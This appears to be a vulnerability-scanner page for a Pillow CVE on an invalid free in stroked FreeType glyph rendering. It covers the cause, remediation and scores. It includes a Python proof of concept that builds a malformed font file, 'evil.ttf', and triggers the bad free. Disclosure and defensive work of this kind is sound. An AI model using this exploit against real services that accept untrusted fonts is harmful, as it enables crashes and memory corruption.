CVE-2026-112893 — Pillow: Invalid free in pillow — CVE Details
Pillow: Invalid free in FreeType glyph rendering when a stroker is active
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.64%). Schedule for your next planned update.
Does your project use an affected pillow version?
Paste your requirements.txt to check it for CVE-2026-112893 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
Details
glyph is declared without a NULL initializer:
src/_imagingft.c:848
The first measurement loop can jump to glyph_error before glyph is ever assigned:
src/_imagingft.c:1010-1013
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
src/_imagingft.c:1242
The cleanup frees it whenever a stroker exists:
src/_imagingft.c:1253-1256
ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
PoC
This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).
Impact
Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.
Advisory Timeline
- First published October 21, 2026 (37 days ago).
- Last revised October 26, 2026 — 5 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pillow>=13.0.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pillow PyPI · Affected: 10.0.0, 10.0.1, 10.1.0, 10.2.0 (+11 more) | 13.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-457
- CWE-763
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.0 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-112893ADVISORY
- https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13WEB
- https://github.com/python-pillow/PillowPACKAGE
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0WEB
Frequently Asked Questions
- What is CVE-2026-112893?
- Pillow: Invalid free in FreeType glyph rendering when a stroker is active. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.0/10).
- How do I check if my project is affected by CVE-2026-112893?
- CVE-2026-112893 affects pillow. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-112893 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 45.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-54058HIGH
Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
- CVE-2026-59200HIGH
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
- CVE-2026-96642HIGH
Pillow: TarIO negative size field causes infinite CPU-spin loop
- CVE-2026-55379HIGH
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
- CVE-2026-112896HIGH
Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read
- CVE-2026-59198MEDIUM
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
- CVE-2026-112394MEDIUM
Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size
- CVE-2026-96636MEDIUM
Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)